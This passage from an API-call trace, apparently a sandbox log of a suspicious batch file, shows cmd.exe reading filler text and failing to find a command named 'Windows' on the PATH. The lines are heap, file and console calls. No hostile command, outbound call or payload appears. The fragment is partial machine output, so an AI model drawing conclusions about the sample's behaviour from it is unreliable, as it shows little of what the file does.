Size=0x4012) returned 0x20b0f946660 [0161.333] GetProcessHeap () returned 0x20b0f920000 [0161.333] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.333] _tell (_FileHandle=3) returned 119 [0161.333] _close (_FileHandle=3) returned 0 [0161.333] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0161.333] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0161.333] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.333] SetFilePointer (in: hFile=0x94, lDistanceToMove=119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x77 [0161.333] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.333] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x77 [0161.333] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x173e, lpOverlapped=0x0) returned 1 [0161.334] SetFilePointer (in: hFile=0x94, lDistanceToMove=205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcd [0161.334] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=86, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\r\n.. \r\n") returned 86 [0161.334] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.334] GetFileType (hFile=0x94) returned 0x1 [0161.334] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.334] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcd [0161.334] GetProcessHeap () returned 0x20b0f920000 [0161.334] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946660 [0161.334] GetProcessHeap () returned 0x20b0f920000 [0161.334] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.335] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0161.335] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0161.335] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0161.335] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0161.335] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0161.335] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0161.335] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0161.335] GetProcessHeap () returned 0x20b0f920000 [0161.335] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0161.335] GetProcessHeap () returned 0x20b0f920000 [0161.335] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0161.336] GetProcessHeap () returned 0x20b0f920000 [0161.336] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa8) returned 0x20b0f92cb10 [0161.336] _tell (_FileHandle=3) returned 205 [0161.336] _close (_FileHandle=3) returned 0 [0161.337] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0161.337] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.337] GetFileType (hFile=0x50) returned 0x2 [0161.337] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.337] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0161.337] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.337] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0161.337] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0161.337] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0161.338] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0161.338] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.338] GetFileType (hFile=0x50) returned 0x2 [0161.338] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.338] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0161.338] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.338] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0161.339] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.339] GetFileType (hFile=0x50) returned 0x2 [0161.339] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.339] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0161.339] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.339] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0161.340] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 76 [0161.340] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.340] GetFileType (hFile=0x50) returned 0x2 [0161.340] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.340] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0161.340] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.340] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4c) returned 1 [0161.340] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0161.340] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.341] GetFileType (hFile=0x50) returned 0x2 [0161.341] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.341] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0161.341] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.341] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0161.341] malloc (_Size=0xffce) returned 0x20b0fa60940 [0161.342] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0161.342] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.342] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.342] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.342] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.342] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.342] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.342] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.342] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.343] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.343] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.343] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.343] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.343] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.343] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.343] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.343] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.343] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.343] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.343] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.343] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.343] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.343] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.343] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.343] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.343] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.343] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.343] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.343] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.343] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.343] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.343] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.343] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.343] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.343] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.343] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.343] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.343] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.343] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.343] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.343] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.343] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.343] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.343] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0161.343] malloc (_Size=0xffce) returned 0x20b0fa70920 [0161.344] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0161.344] GetProcessHeap () returned 0x20b0f920000 [0161.344] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f956f20 [0161.346] SetErrorMode (uMode=0x0) returned 0x0 [0161.346] SetErrorMode (uMode=0x1) returned 0x0 [0161.346] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f956f30, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0161.346] SetErrorMode (uMode=0x0) returned 0x1 [0161.346] GetProcessHeap () returned 0x20b0f920000 [0161.346] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f956f20, Size=0x48) returned 0x20b0f956f20 [0161.346] GetProcessHeap () returned 0x20b0f920000 [0161.346] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956f20) returned 0x48 [0161.346] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0161.346] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0161.347] GetProcessHeap () returned 0x20b0f920000 [0161.347] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0161.347] GetProcessHeap () returned 0x20b0f920000 [0161.347] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0161.347] GetProcessHeap () returned 0x20b0f920000 [0161.347] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0161.347] GetProcessHeap () returned 0x20b0f920000 [0161.347] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0161.347] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.347] GetProcessHeap () returned 0x20b0f920000 [0161.347] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0161.347] GetProcessHeap () returned 0x20b0f920000 [0161.347] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0161.347] GetProcessHeap () returned 0x20b0f920000 [0161.347] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0161.347] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cf70 [0161.347] FindClose (in: hFindFile=0x20b0f92cf70 | out: hFindFile=0x20b0f92cf70) returned 1 [0161.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.347] GetLastError () returned 0x2 [0161.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.348] GetLastError () returned 0x2 [0161.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.348] GetLastError () returned 0x2 [0161.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.348] GetLastError () returned 0x2 [0161.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.348] GetLastError () returned 0x2 [0161.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.348] GetLastError () returned 0x2 [0161.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.349] GetLastError () returned 0x2 [0161.349] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.349] GetLastError () returned 0x2 [0161.349] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.349] GetLastError () returned 0x2 [0161.349] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.349] GetLastError () returned 0x2 [0161.349] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.349] GetLastError () returned 0x2 [0161.349] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.349] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.349] GetLastError () returned 0x2 [0161.350] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.350] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d330 [0161.350] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0161.350] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.350] GetLastError () returned 0x2 [0161.350] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.350] GetLastError () returned 0x2 [0161.350] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.350] GetLastError () returned 0x2 [0161.350] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.350] GetLastError () returned 0x2 [0161.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.351] GetLastError () returned 0x2 [0161.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.351] GetLastError () returned 0x2 [0161.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.351] GetLastError () returned 0x2 [0161.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.351] GetLastError () returned 0x2 [0161.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.351] GetLastError () returned 0x2 [0161.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.351] GetLastError () returned 0x2 [0161.352] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.352] GetLastError () returned 0x2 [0161.352] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.352] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.352] GetLastError () returned 0x2 [0161.352] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.352] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.352] GetLastError () returned 0x2 [0161.352] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.352] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.352] GetLastError () returned 0x2 [0161.352] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.352] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.353] GetLastError () returned 0x2 [0161.353] ??_V@YAXPEAX@Z () returned 0x1 [0161.353] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0161.358] malloc (_Size=0xffce) returned 0x20b0fa70920 [0161.358] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0161.358] malloc (_Size=0xffce) returned 0x20b0fa80900 [0161.359] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0161.359] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.359] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.359] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.359] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.359] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.359] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.359] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.359] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.359] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.359] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.359] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.359] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.359] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.359] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.359] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.359] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.359] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.359] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.359] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.360] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.360] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.360] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.360] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.360] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.360] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.360] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.360] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.360] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.360] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.360] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.360] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.360] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.360] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.360] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.360] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.360] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.360] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.360] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.360] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.360] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.360] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.360] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.360] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.360] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.360] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.360] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.360] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.360] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.360] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.360] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.360] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.360] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 